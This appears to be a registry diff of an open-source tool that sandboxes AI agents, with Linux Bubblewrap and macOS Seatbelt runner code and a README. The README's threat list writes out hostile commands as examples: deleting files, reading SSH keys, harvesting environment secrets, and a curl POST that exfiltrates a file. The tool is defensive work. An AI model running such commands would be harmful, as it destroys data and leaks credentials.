agent-jail-cli 0.1.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- agent_jail/__init__.py +3 -0
- agent_jail/cli.py +215 -0
- agent_jail/config.py +247 -0
- agent_jail/proxy.py +330 -0
- agent_jail/resources/__init__.py +1 -0
- agent_jail/resources/agent-jail.sb +99 -0
- agent_jail/runners/__init__.py +21 -0
- agent_jail/runners/base.py +67 -0
- agent_jail/runners/linux.py +202 -0
- agent_jail/runners/macos.py +150 -0
- agent_jail_cli-0.1.6.dist-info/METADATA +256 -0
- agent_jail_cli-0.1.6.dist-info/RECORD +15 -0
- agent_jail_cli-0.1.6.dist-info/WHEEL +4 -0
- agent_jail_cli-0.1.6.dist-info/entry_points.txt +3 -0
- agent_jail_cli-0.1.6.dist-info/licenses/LICENSE +21 -0
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
"""Linux Bubblewrap (bwrap) sandbox runner."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import os
|
|
6
|
+
from pathlib import Path
|
|
7
|
+
import shutil
|
|
8
|
+
from typing import TYPE_CHECKING
|
|
9
|
+
|
|
10
|
+
from agent_jail.runners.base import BaseRunner
|
|
11
|
+
|
|
12
|
+
if TYPE_CHECKING:
|
|
13
|
+
from agent_jail.config import JailConfig
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
class LinuxRunner(BaseRunner):
|
|
17
|
+
"""Executes processes confined by Bubblewrap (bwrap) mount & user namespaces."""
|
|
18
|
+
|
|
19
|
+
def check_prerequisites(self) -> None:
|
|
20
|
+
if not shutil.which("bwrap"):
|
|
21
|
+
raise RuntimeError(
|
|
22
|
+
"agent-jail requires Bubblewrap ('bwrap') on Linux.\n"
|
|
23
|
+
"Please install it using:\n"
|
|
24
|
+
" sudo apt-get install bubblewrap # Debian / Ubuntu\n"
|
|
25
|
+
" sudo dnf install bubblewrap # Fedora / RHEL\n"
|
|
26
|
+
" sudo pacman -S bubblewrap # Arch Linux"
|
|
27
|
+
)
|
|
28
|
+
|
|
29
|
+
def build_command(
|
|
30
|
+
self,
|
|
31
|
+
project: Path,
|
|
32
|
+
home: Path,
|
|
33
|
+
proxy_port: int,
|
|
34
|
+
run_tmp: Path,
|
|
35
|
+
cmd: list[str],
|
|
36
|
+
config: JailConfig,
|
|
37
|
+
) -> list[str]:
|
|
38
|
+
proxy_url = f"http://127.0.0.1:{proxy_port}"
|
|
39
|
+
|
|
40
|
+
bwrap_args: list[str] = [
|
|
41
|
+
"bwrap",
|
|
42
|
+
# Security hygiene: Kill child orphans when parent exits
|
|
43
|
+
"--die-with-parent",
|
|
44
|
+
# Scrub environment variables inside container
|
|
45
|
+
"--clearenv",
|
|
46
|
+
"--setenv", "PATH", os.environ.get("PATH", "/usr/local/bin:/usr/bin:/bin"),
|
|
47
|
+
"--setenv", "HOME", str(home),
|
|
48
|
+
"--setenv", "USER", os.environ.get("USER", "user"),
|
|
49
|
+
"--setenv", "LOGNAME", os.environ.get("LOGNAME", os.environ.get("USER", "user")),
|
|
50
|
+
"--setenv", "SHELL", os.environ.get("SHELL", "/bin/bash"),
|
|
51
|
+
"--setenv", "TERM", os.environ.get("TERM", "xterm-256color"),
|
|
52
|
+
"--setenv", "LANG", os.environ.get("LANG", "en_US.UTF-8"),
|
|
53
|
+
"--setenv", "TMPDIR", "/tmp",
|
|
54
|
+
"--setenv", "HTTP_PROXY", proxy_url,
|
|
55
|
+
"--setenv", "HTTPS_PROXY", proxy_url,
|
|
56
|
+
"--setenv", "ALL_PROXY", proxy_url,
|
|
57
|
+
"--setenv", "NO_PROXY", "localhost,127.0.0.1",
|
|
58
|
+
"--setenv", "http_proxy", proxy_url,
|
|
59
|
+
"--setenv", "https_proxy", proxy_url,
|
|
60
|
+
"--setenv", "all_proxy", proxy_url,
|
|
61
|
+
"--setenv", "no_proxy", "localhost,127.0.0.1",
|
|
62
|
+
]
|
|
63
|
+
|
|
64
|
+
if "VIRTUAL_ENV" in os.environ:
|
|
65
|
+
bwrap_args.extend(["--setenv", "VIRTUAL_ENV", os.environ["VIRTUAL_ENV"]])
|
|
66
|
+
|
|
67
|
+
# User passthrough env vars
|
|
68
|
+
if config and config.env_passthrough:
|
|
69
|
+
for var in config.env_passthrough:
|
|
70
|
+
if var in os.environ:
|
|
71
|
+
bwrap_args.extend(["--setenv", var, os.environ[var]])
|
|
72
|
+
|
|
73
|
+
# Resolve configured read, hide, and write paths relative to project
|
|
74
|
+
resolved_reads = [
|
|
75
|
+
project
|
|
76
|
+
if str(r) in (".", "./")
|
|
77
|
+
else (project / r)
|
|
78
|
+
if not r.is_absolute()
|
|
79
|
+
else r
|
|
80
|
+
for r in (config.fs_read if config else [])
|
|
81
|
+
]
|
|
82
|
+
resolved_writes = [
|
|
83
|
+
project
|
|
84
|
+
if str(w) in (".", "./")
|
|
85
|
+
else (project / w)
|
|
86
|
+
if not w.is_absolute()
|
|
87
|
+
else w
|
|
88
|
+
for w in (config.fs_write if config else [])
|
|
89
|
+
]
|
|
90
|
+
resolved_hides = [
|
|
91
|
+
project
|
|
92
|
+
if str(h) in (".", "./")
|
|
93
|
+
else (project / h)
|
|
94
|
+
if not h.is_absolute()
|
|
95
|
+
else h
|
|
96
|
+
for h in (config.fs_hide if config else [])
|
|
97
|
+
]
|
|
98
|
+
|
|
99
|
+
# Root and standard mounts
|
|
100
|
+
bwrap_args.extend([
|
|
101
|
+
"--ro-bind", "/", "/",
|
|
102
|
+
"--dev", "/dev",
|
|
103
|
+
"--proc", "/proc",
|
|
104
|
+
"--tmpfs", "/tmp",
|
|
105
|
+
"--tmpfs", "/run",
|
|
106
|
+
# Mask user HOME directory with an empty tmpfs
|
|
107
|
+
"--tmpfs", str(home),
|
|
108
|
+
])
|
|
109
|
+
|
|
110
|
+
# Bind project directory:
|
|
111
|
+
# 1. If project itself is in resolved_writes, mount read-write (--bind).
|
|
112
|
+
# 2. Elif project is in resolved_reads, mount read-only (--ro-bind).
|
|
113
|
+
# 3. Otherwise, mask project with an empty tmpfs (--tmpfs project), allowing only explicitly configured subpaths.
|
|
114
|
+
if project in resolved_writes:
|
|
115
|
+
bwrap_args.extend(["--bind", str(project), str(project)])
|
|
116
|
+
elif project in resolved_reads:
|
|
117
|
+
bwrap_args.extend(["--ro-bind", str(project), str(project)])
|
|
118
|
+
else:
|
|
119
|
+
bwrap_args.extend(["--tmpfs", str(project)])
|
|
120
|
+
|
|
121
|
+
# Mount permitted subpaths and additional read paths
|
|
122
|
+
for r_path in resolved_reads:
|
|
123
|
+
if r_path != project and r_path.exists():
|
|
124
|
+
bwrap_args.extend(["--ro-bind", str(r_path), str(r_path)])
|
|
125
|
+
|
|
126
|
+
# Mount permitted subpaths and additional write paths
|
|
127
|
+
for w_path in resolved_writes:
|
|
128
|
+
if w_path != project and w_path.exists():
|
|
129
|
+
bwrap_args.extend(["--bind", str(w_path), str(w_path)])
|
|
130
|
+
|
|
131
|
+
# Protect persistence vectors in $PROJECT
|
|
132
|
+
for trap in [
|
|
133
|
+
".git/hooks",
|
|
134
|
+
".git/config",
|
|
135
|
+
".envrc",
|
|
136
|
+
".mcp.json",
|
|
137
|
+
".vscode",
|
|
138
|
+
"AGENTS.md",
|
|
139
|
+
"CLAUDE.md",
|
|
140
|
+
".cursorrules",
|
|
141
|
+
"aj-conf.yaml",
|
|
142
|
+
"aj-conf.yml",
|
|
143
|
+
"aj-conf.toml",
|
|
144
|
+
".allowed_domains",
|
|
145
|
+
".allowed_domains.txt",
|
|
146
|
+
]:
|
|
147
|
+
trap_path = project / trap
|
|
148
|
+
if trap_path.exists():
|
|
149
|
+
bwrap_args.extend(["--ro-bind", str(trap_path), str(trap_path)])
|
|
150
|
+
|
|
151
|
+
# Hide user-specified secret files or directories (masking them)
|
|
152
|
+
if resolved_hides:
|
|
153
|
+
for h_path in resolved_hides:
|
|
154
|
+
if h_path.exists():
|
|
155
|
+
if h_path.is_dir():
|
|
156
|
+
bwrap_args.extend(["--tmpfs", str(h_path)])
|
|
157
|
+
else:
|
|
158
|
+
bwrap_args.extend(["--ro-bind", "/dev/null", str(h_path)])
|
|
159
|
+
|
|
160
|
+
# Mount ~/.pi if present, protecting code and config
|
|
161
|
+
pi_home = home / ".pi"
|
|
162
|
+
if pi_home.is_dir():
|
|
163
|
+
bwrap_args.extend(["--bind", str(pi_home), str(pi_home)])
|
|
164
|
+
pi_agent = pi_home / "agent"
|
|
165
|
+
for sub in ["extensions", "bin", "skills"]:
|
|
166
|
+
sub_path = pi_agent / sub
|
|
167
|
+
if sub_path.is_dir():
|
|
168
|
+
bwrap_args.extend(["--ro-bind", str(sub_path), str(sub_path)])
|
|
169
|
+
for cfg in ["settings.json", "models.json", "auth.json", "trust.json", "allowed_domains.default"]:
|
|
170
|
+
cfg_path = pi_agent / cfg
|
|
171
|
+
if cfg_path.is_file():
|
|
172
|
+
bwrap_args.extend(["--ro-bind", str(cfg_path), str(cfg_path)])
|
|
173
|
+
|
|
174
|
+
# Mount user tools and language runtimes read-only if present
|
|
175
|
+
for local_dir in [
|
|
176
|
+
home / ".local",
|
|
177
|
+
home / ".cache",
|
|
178
|
+
home / ".pyenv",
|
|
179
|
+
home / ".nvm",
|
|
180
|
+
home / ".fnm",
|
|
181
|
+
home / ".volta",
|
|
182
|
+
home / ".bun",
|
|
183
|
+
home / ".cargo",
|
|
184
|
+
home / ".rustup",
|
|
185
|
+
]:
|
|
186
|
+
if local_dir.is_dir():
|
|
187
|
+
bwrap_args.extend(["--ro-bind", str(local_dir), str(local_dir)])
|
|
188
|
+
|
|
189
|
+
# Remount $HOME as read-only after all submounts are created
|
|
190
|
+
bwrap_args.extend(["--remount-ro", str(home)])
|
|
191
|
+
|
|
192
|
+
# Namespaces & directory
|
|
193
|
+
bwrap_args.extend([
|
|
194
|
+
"--unshare-ipc",
|
|
195
|
+
"--unshare-pid",
|
|
196
|
+
"--unshare-uts",
|
|
197
|
+
"--share-net",
|
|
198
|
+
"--chdir", str(project),
|
|
199
|
+
])
|
|
200
|
+
|
|
201
|
+
bwrap_args.extend(cmd)
|
|
202
|
+
return bwrap_args
|
|
@@ -0,0 +1,150 @@
|
|
|
1
|
+
"""macOS Seatbelt (sandbox-exec) sandbox runner."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import importlib.resources
|
|
6
|
+
from pathlib import Path
|
|
7
|
+
import shutil
|
|
8
|
+
from typing import TYPE_CHECKING
|
|
9
|
+
|
|
10
|
+
from agent_jail.runners.base import BaseRunner
|
|
11
|
+
|
|
12
|
+
if TYPE_CHECKING:
|
|
13
|
+
from agent_jail.config import JailConfig
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
def _escape_sbpl(path: Path | str) -> str:
|
|
17
|
+
"""Escape backslashes and double quotes for safe interpolation into SBPL rules."""
|
|
18
|
+
return str(path).replace("\\", "\\\\").replace('"', '\\"')
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
class MacOSRunner(BaseRunner):
|
|
22
|
+
"""Executes processes confined by macOS Seatbelt (sandbox-exec)."""
|
|
23
|
+
|
|
24
|
+
def check_prerequisites(self) -> None:
|
|
25
|
+
if not shutil.which("sandbox-exec"):
|
|
26
|
+
raise RuntimeError(
|
|
27
|
+
"agent-jail requires 'sandbox-exec' on macOS, but it was not found in PATH."
|
|
28
|
+
)
|
|
29
|
+
|
|
30
|
+
def get_profile_path(
|
|
31
|
+
self,
|
|
32
|
+
run_tmp: Path,
|
|
33
|
+
config: JailConfig | None = None,
|
|
34
|
+
project: Path | None = None,
|
|
35
|
+
) -> Path:
|
|
36
|
+
"""Extract and provide the Seatbelt profile file, appending dynamic config rules."""
|
|
37
|
+
target_path = run_tmp / "agent-jail.sb"
|
|
38
|
+
if not target_path.exists():
|
|
39
|
+
resource = (
|
|
40
|
+
importlib.resources.files("agent_jail.resources")
|
|
41
|
+
.joinpath("agent-jail.sb")
|
|
42
|
+
.read_text(encoding="utf-8")
|
|
43
|
+
)
|
|
44
|
+
|
|
45
|
+
# 1. Dynamic write rules (injected before anti-tampering deny rules)
|
|
46
|
+
write_rules: list[str] = []
|
|
47
|
+
if config and config.fs_write:
|
|
48
|
+
write_rules.append("\n;; User-configured write paths")
|
|
49
|
+
for w_path in config.fs_write:
|
|
50
|
+
resolved_w = (
|
|
51
|
+
project
|
|
52
|
+
if str(w_path) in (".", "./") and project
|
|
53
|
+
else (project / w_path)
|
|
54
|
+
if project and not w_path.is_absolute()
|
|
55
|
+
else w_path
|
|
56
|
+
)
|
|
57
|
+
escaped_w = _escape_sbpl(resolved_w)
|
|
58
|
+
write_rules.append(f'(allow file-write* (subpath "{escaped_w}"))')
|
|
59
|
+
write_rules.append(f'(allow file-read-data (subpath "{escaped_w}"))')
|
|
60
|
+
|
|
61
|
+
dynamic_write_block = "\n".join(write_rules)
|
|
62
|
+
if ";; __DYNAMIC_WRITE_RULES__" in resource:
|
|
63
|
+
content = resource.replace(";; __DYNAMIC_WRITE_RULES__", dynamic_write_block)
|
|
64
|
+
else:
|
|
65
|
+
content = resource + "\n" + dynamic_write_block
|
|
66
|
+
|
|
67
|
+
# 2. Dynamic read paths
|
|
68
|
+
read_rules: list[str] = []
|
|
69
|
+
if config and config.fs_read:
|
|
70
|
+
read_rules.append("\n;; User-configured read paths")
|
|
71
|
+
for r_path in config.fs_read:
|
|
72
|
+
resolved_r = (
|
|
73
|
+
project
|
|
74
|
+
if str(r_path) in (".", "./") and project
|
|
75
|
+
else (project / r_path)
|
|
76
|
+
if project and not r_path.is_absolute()
|
|
77
|
+
else r_path
|
|
78
|
+
)
|
|
79
|
+
escaped_r = _escape_sbpl(resolved_r)
|
|
80
|
+
read_rules.append(f'(allow file-read-data (subpath "{escaped_r}"))')
|
|
81
|
+
|
|
82
|
+
dynamic_read_block = "\n".join(read_rules)
|
|
83
|
+
if ";; __DYNAMIC_READ_RULES__" in content:
|
|
84
|
+
content = content.replace(";; __DYNAMIC_READ_RULES__", dynamic_read_block)
|
|
85
|
+
else:
|
|
86
|
+
content = content + "\n" + dynamic_read_block
|
|
87
|
+
|
|
88
|
+
# 3. Dynamic hide paths (deny read access to sensitive files/folders)
|
|
89
|
+
hide_rules: list[str] = []
|
|
90
|
+
if config and config.fs_hide:
|
|
91
|
+
hide_rules.append("\n;; User-configured hidden paths (deny read)")
|
|
92
|
+
for h_path in config.fs_hide:
|
|
93
|
+
resolved_h = (
|
|
94
|
+
project
|
|
95
|
+
if str(h_path) in (".", "./") and project
|
|
96
|
+
else (project / h_path)
|
|
97
|
+
if project and not h_path.is_absolute()
|
|
98
|
+
else h_path
|
|
99
|
+
)
|
|
100
|
+
escaped_h = _escape_sbpl(resolved_h)
|
|
101
|
+
hide_rules.append(f'(deny file-read-data (literal "{escaped_h}"))')
|
|
102
|
+
hide_rules.append(f'(deny file-read-data (subpath "{escaped_h}"))')
|
|
103
|
+
hide_rules.append(f'(deny file-read-metadata (literal "{escaped_h}"))')
|
|
104
|
+
hide_rules.append(f'(deny file-read-metadata (subpath "{escaped_h}"))')
|
|
105
|
+
|
|
106
|
+
dynamic_hide_block = "\n".join(hide_rules)
|
|
107
|
+
if ";; __DYNAMIC_HIDE_RULES__" in content:
|
|
108
|
+
content = content.replace(";; __DYNAMIC_HIDE_RULES__", dynamic_hide_block)
|
|
109
|
+
else:
|
|
110
|
+
content = content + "\n" + dynamic_hide_block
|
|
111
|
+
|
|
112
|
+
# 4. Dynamic network ports
|
|
113
|
+
extra_rules: list[str] = []
|
|
114
|
+
if config:
|
|
115
|
+
if config.allowed_ports:
|
|
116
|
+
extra_rules.append("\n;; User-configured localhost ports")
|
|
117
|
+
for port in config.allowed_ports:
|
|
118
|
+
extra_rules.append(f'(allow network-outbound (to tcp "localhost:{port}"))')
|
|
119
|
+
|
|
120
|
+
if extra_rules:
|
|
121
|
+
content = content + "\n" + "\n".join(extra_rules) + "\n"
|
|
122
|
+
|
|
123
|
+
target_path.write_text(content, encoding="utf-8")
|
|
124
|
+
return target_path
|
|
125
|
+
|
|
126
|
+
def build_command(
|
|
127
|
+
self,
|
|
128
|
+
project: Path,
|
|
129
|
+
home: Path,
|
|
130
|
+
proxy_port: int,
|
|
131
|
+
run_tmp: Path,
|
|
132
|
+
cmd: list[str],
|
|
133
|
+
config: JailConfig,
|
|
134
|
+
) -> list[str]:
|
|
135
|
+
profile_path = self.get_profile_path(run_tmp, config, project=project)
|
|
136
|
+
|
|
137
|
+
return [
|
|
138
|
+
"sandbox-exec",
|
|
139
|
+
"-f",
|
|
140
|
+
str(profile_path),
|
|
141
|
+
"-D",
|
|
142
|
+
f"HOME={home}",
|
|
143
|
+
"-D",
|
|
144
|
+
f"PROJECT={project}",
|
|
145
|
+
"-D",
|
|
146
|
+
f"PROXY_PORT={proxy_port}",
|
|
147
|
+
"-D",
|
|
148
|
+
f"RUN_TMP={run_tmp}",
|
|
149
|
+
*cmd,
|
|
150
|
+
]
|
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
|
+
Name: agent-jail-cli
|
|
3
|
+
Version: 0.1.6
|
|
4
|
+
Summary: Zero-overhead, OS-level sandboxing for autonomous AI agents on macOS and Linux
|
|
5
|
+
Project-URL: Homepage, https://github.com/szetaa/agent-jail
|
|
6
|
+
Project-URL: Repository, https://github.com/szetaa/agent-jail
|
|
7
|
+
Project-URL: Issues, https://github.com/szetaa/agent-jail/issues
|
|
8
|
+
Author: Ralph
|
|
9
|
+
License: MIT
|
|
10
|
+
License-File: LICENSE
|
|
11
|
+
Keywords: agents,ai,bubblewrap,llm,sandbox,seatbelt,security
|
|
12
|
+
Classifier: Development Status :: 4 - Beta
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
20
|
+
Classifier: Topic :: Security
|
|
21
|
+
Classifier: Topic :: Software Development :: Build Tools
|
|
22
|
+
Requires-Python: >=3.10
|
|
23
|
+
Requires-Dist: pyyaml>=6.0
|
|
24
|
+
Provides-Extra: dev
|
|
25
|
+
Requires-Dist: pytest>=7.0.0; extra == 'dev'
|
|
26
|
+
Description-Content-Type: text/markdown
|
|
27
|
+
|
|
28
|
+
# 🔒 agent-jail (`aj`)
|
|
29
|
+
|
|
30
|
+
> **Kernel-enforced OS sandboxing for autonomous AI agents — with zero overhead.**
|
|
31
|
+
> One universal YAML policy (`aj-conf.yaml`) to confine any agent harness (`claude`, `codex`, `gemini`, `pi`, `aider`) or custom Python loop (LangChain, DeepAgents, Agno, CrewAI) strictly to your project folder with sub-millisecond startup.
|
|
32
|
+
|
|
33
|
+
[](LICENSE)
|
|
34
|
+
[](https://www.python.org/downloads/)
|
|
35
|
+
[](#how-it-works-the-4-defense-perimeters)
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## The Reality of Running Agents Locally
|
|
40
|
+
|
|
41
|
+
If you build or run autonomous agents, you give LLMs a bash tool or a Python interpreter that accepts arbitrary `os` operations. One hallucinated command, buggy path resolution, or prompt injection is all it takes:
|
|
42
|
+
|
|
43
|
+
* 💥 **File destruction:** `rm -rf ../` or wiping code outside the active repository.
|
|
44
|
+
* 🔑 **Credential snooping:** `cat ~/.ssh/id_ed25519` reading private keys and host tokens.
|
|
45
|
+
* 📡 **Silent exfiltration:** `curl -X POST https://webhook.site/leak -d @confidential.json` transmitting local data outbound.
|
|
46
|
+
* 🕵️ **Environment leakage:** `env | grep -i secret` harvesting host tokens (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, active `SSH_AUTH_SOCK`) into LLM context.
|
|
47
|
+
|
|
48
|
+
`agent-jail` enforces boundaries directly at the OS kernel level (**Apple Seatbelt** on macOS, **Bubblewrap** on Linux). It starts in **under 1ms**, runs without heavy daemons or virtual machines, and preserves your native terminal workflow.
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## Quick Start
|
|
53
|
+
|
|
54
|
+
### 1. Install via `uv`
|
|
55
|
+
|
|
56
|
+
Install once globally (works on macOS and Ubuntu/Debian):
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
# Install directly from GitHub
|
|
60
|
+
uv tool install git+https://github.com/szetaa/agent-jail.git
|
|
61
|
+
|
|
62
|
+
# Update to latest version from GitHub
|
|
63
|
+
uv tool upgrade agent-jail
|
|
64
|
+
|
|
65
|
+
# Or install from a local checkout (for development)
|
|
66
|
+
uv tool install --force .
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
*Registers both `agent-jail` and the shortcut `aj` in your `$PATH`.*
|
|
70
|
+
|
|
71
|
+
### 2. Prefix Your Agent
|
|
72
|
+
|
|
73
|
+
Prefix any command or script with `aj`:
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
aj pi # Run your Pi agent
|
|
77
|
+
aj python run_agent.py # Run your LangChain / DeepAgents / Agno / CrewAI loop
|
|
78
|
+
aj bash # Drop into a sandboxed interactive shell
|
|
79
|
+
aj # Default: launches sandboxed shell
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
> **Pro-tip:** Add an alias to your `~/.zshrc` or `~/.bashrc`:
|
|
83
|
+
> ```bash
|
|
84
|
+
> alias pi="aj pi"
|
|
85
|
+
> ```
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## How It Works: The 4 Defense Perimeters
|
|
90
|
+
|
|
91
|
+
```
|
|
92
|
+
HOST MACHINE
|
|
93
|
+
┌───────────────────────────────────────────────────────────────┐
|
|
94
|
+
│ Host Services: │
|
|
95
|
+
│ - Allowed Localhost Ports (e.g. Ollama 11434, llama.cpp 8080)│
|
|
96
|
+
│ - Dynamic Forward Proxy (127.0.0.1:<random_port>) │
|
|
97
|
+
└──────────────────────────────▲────────────────────────────────┘
|
|
98
|
+
│ HTTP_PROXY (Allowed Domains only)
|
|
99
|
+
═══════════════════════════════╪═════════════════════════════════
|
|
100
|
+
KERNEL SANDBOX BOUNDARY
|
|
101
|
+
═══════════════════════════════╪═════════════════════════════════
|
|
102
|
+
┌──────────────────────────────┴────────────────────────────────┐
|
|
103
|
+
│ Jailed Process: `aj <command>` │
|
|
104
|
+
│ │
|
|
105
|
+
│ 1. WRITES: Universal Default-Deny │
|
|
106
|
+
│ - Only configured paths (default: $PROJECT) and private │
|
|
107
|
+
│ ephemeral $TMPDIR writable. │
|
|
108
|
+
│ - /Users, /Volumes, /etc, ~/.ssh are strictly locked. │
|
|
109
|
+
│ - Project can be made fully read-only via `write: []`. │
|
|
110
|
+
│ │
|
|
111
|
+
│ 2. PERSISTENCE DEFENSE: │
|
|
112
|
+
│ - .git/hooks, .git/config, .envrc, .mcp.json, .vscode, │
|
|
113
|
+
│ and aj-conf.yaml locked read-only. │
|
|
114
|
+
│ │
|
|
115
|
+
│ 3. NETWORK CONTAINMENT: │
|
|
116
|
+
│ - Raw outbound network killed by kernel (macOS). │
|
|
117
|
+
│ - Approved HTTP routes via dynamic proxy (SSRF protected) │
|
|
118
|
+
│ - Configured localhost ports pass directly. │
|
|
119
|
+
│ │
|
|
120
|
+
│ 4. ENVIRONMENT SANITIZATION: │
|
|
121
|
+
│ - Stripped host env (no leaked AWS keys, no SSH sockets). │
|
|
122
|
+
│ - Script-loaded project .env works normally. │
|
|
123
|
+
└───────────────────────────────────────────────────────────────┘
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
1. **Universal Write Lockdown & Scoped Project Writes (`write:`):**
|
|
127
|
+
Universal default-deny across the entire machine. By default, writes are permitted inside `$PROJECT` (`write: ["."]`) and an ephemeral `$TMPDIR` deleted on exit. You can restrict writes to specific subfolders (e.g. `write: ["output", ".cache"]`) or make the entire project strictly read-only (`write: []`).
|
|
128
|
+
2. **Granular Read Access & Secret Hiding (`read:` and `hide:`):**
|
|
129
|
+
Outside data (`/Users`, `/Volumes`) is blocked. Inside the project, reads default to full project access (`read: ["."]`), but you can scope reads to specific subfolders (e.g. `read: ["src", ".venv"]`) or explicitly deny read access to sensitive files like secrets (`hide: [".env"]`).
|
|
130
|
+
3. **Network Containment & Dynamic Forward Proxy:**
|
|
131
|
+
Raw outbound internet is blocked by the kernel on macOS (and via proxy environment routing on Linux). Approved HTTP/HTTPS traffic routes through an unjailed local proxy enforcing domain allowlists and SSRF protection (dropping private/loopback/cloud-metadata IPs unless explicitly allowed). Blocked requests appear on `stderr` in real time:
|
|
132
|
+
```text
|
|
133
|
+
agent-jail [proxy]: 🚫 Blocked CONNECT to malicious-site.com:443 (Domain not in allowlist)
|
|
134
|
+
```
|
|
135
|
+
4. **Environment Scrubbing & Anti-Tampering:**
|
|
136
|
+
Host credentials (`AWS_*`, `GITHUB_*`, `SSH_AUTH_SOCK`) are stripped before launch. Developer persistence vectors (`.git/hooks`, `.git/config`, `.envrc`, `.mcp.json`, `.vscode`, `aj-conf.yaml`) are locked **read-only** so agents cannot stage delayed escapes.
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## Configuration (`aj-conf.yaml`)
|
|
141
|
+
|
|
142
|
+
`agent-jail` automatically generates an `aj-conf.yaml` file in your project folder on first run (or manually via `aj --init`).
|
|
143
|
+
|
|
144
|
+
If you have a global template at `~/.aj/default_conf.yaml`, it will be copied automatically!
|
|
145
|
+
|
|
146
|
+
```yaml
|
|
147
|
+
# aj-conf.yaml
|
|
148
|
+
|
|
149
|
+
network:
|
|
150
|
+
# Outbound domains, wildcards (*.domain.com), or specific host:port endpoints
|
|
151
|
+
allowed_domains:
|
|
152
|
+
- github.com
|
|
153
|
+
- "*.github.com"
|
|
154
|
+
- githubusercontent.com
|
|
155
|
+
- "*.githubusercontent.com"
|
|
156
|
+
- pypi.org
|
|
157
|
+
- "*.pypi.org"
|
|
158
|
+
- pythonhosted.org
|
|
159
|
+
- "*.pythonhosted.org"
|
|
160
|
+
- huggingface.co
|
|
161
|
+
- "*.huggingface.co"
|
|
162
|
+
- registry.npmjs.org
|
|
163
|
+
# Cloud LLM APIs (uncomment as needed):
|
|
164
|
+
# - api.openai.com
|
|
165
|
+
# - api.anthropic.com
|
|
166
|
+
# - generativelanguage.googleapis.com
|
|
167
|
+
# - openrouter.ai
|
|
168
|
+
# Local LLM servers (standard ports):
|
|
169
|
+
# - 127.0.0.1:11434 # Ollama
|
|
170
|
+
# - 127.0.0.1:8080 # llama.cpp (llama-server)
|
|
171
|
+
# - 127.0.0.1:4000 # LiteLLM Proxy
|
|
172
|
+
# - 127.0.0.1:1234 # LM Studio
|
|
173
|
+
# - 127.0.0.1:8000 # vLLM / Local FastAPI
|
|
174
|
+
|
|
175
|
+
filesystem:
|
|
176
|
+
# Directories permitted for read access.
|
|
177
|
+
# Default: ["."] grants read access to the entire project directory.
|
|
178
|
+
# Restrict to specific subfolders (e.g. ["src", ".venv"]) for granular reads.
|
|
179
|
+
read:
|
|
180
|
+
- .
|
|
181
|
+
|
|
182
|
+
# Specific files or directories to hide completely (deny read).
|
|
183
|
+
# Useful when read: ["."] is enabled but you want to protect secrets like .env.
|
|
184
|
+
hide:
|
|
185
|
+
# - .env
|
|
186
|
+
# - secrets
|
|
187
|
+
|
|
188
|
+
# Directories permitted for write access.
|
|
189
|
+
# Default: ["."] grants write access to the project directory.
|
|
190
|
+
# Restrict to specific subfolders (e.g. ["output", ".cache"]) for granular access,
|
|
191
|
+
# or leave empty ([]) to make the entire project strictly read-only.
|
|
192
|
+
write:
|
|
193
|
+
- .
|
|
194
|
+
|
|
195
|
+
env:
|
|
196
|
+
# Host environment variables to pass into the sandbox
|
|
197
|
+
passthrough:
|
|
198
|
+
# - OPENAI_API_KEY
|
|
199
|
+
# - ANTHROPIC_API_KEY
|
|
200
|
+
# - GEMINI_API_KEY
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Platform Prerequisites
|
|
206
|
+
|
|
207
|
+
* **macOS:** Zero installation needed. Uses Apple's built-in `sandbox-exec` (Seatbelt).
|
|
208
|
+
* **Linux (Ubuntu / Debian / Fedora / Arch):** Requires unprivileged Bubblewrap:
|
|
209
|
+
```bash
|
|
210
|
+
sudo apt-get install bubblewrap # Ubuntu / Debian
|
|
211
|
+
sudo dnf install bubblewrap # Fedora
|
|
212
|
+
sudo pacman -S bubblewrap # Arch
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## Development, Testing & Publishing
|
|
218
|
+
|
|
219
|
+
### Local Testing
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
# Run the test suite with uv (runs in ~30ms)
|
|
223
|
+
uv run --with pytest pytest -v
|
|
224
|
+
|
|
225
|
+
# Build wheels locally
|
|
226
|
+
uv build
|
|
227
|
+
|
|
228
|
+
# Test changes locally in your global environment before pushing
|
|
229
|
+
uv tool install --force .
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
### Publishing a New Version (Git Release)
|
|
233
|
+
|
|
234
|
+
`agent-jail` is distributed directly via Git:
|
|
235
|
+
|
|
236
|
+
```bash
|
|
237
|
+
# 1. Commit and push on ongoing
|
|
238
|
+
git add -A
|
|
239
|
+
git commit -m "feat: description (v0.x.x)"
|
|
240
|
+
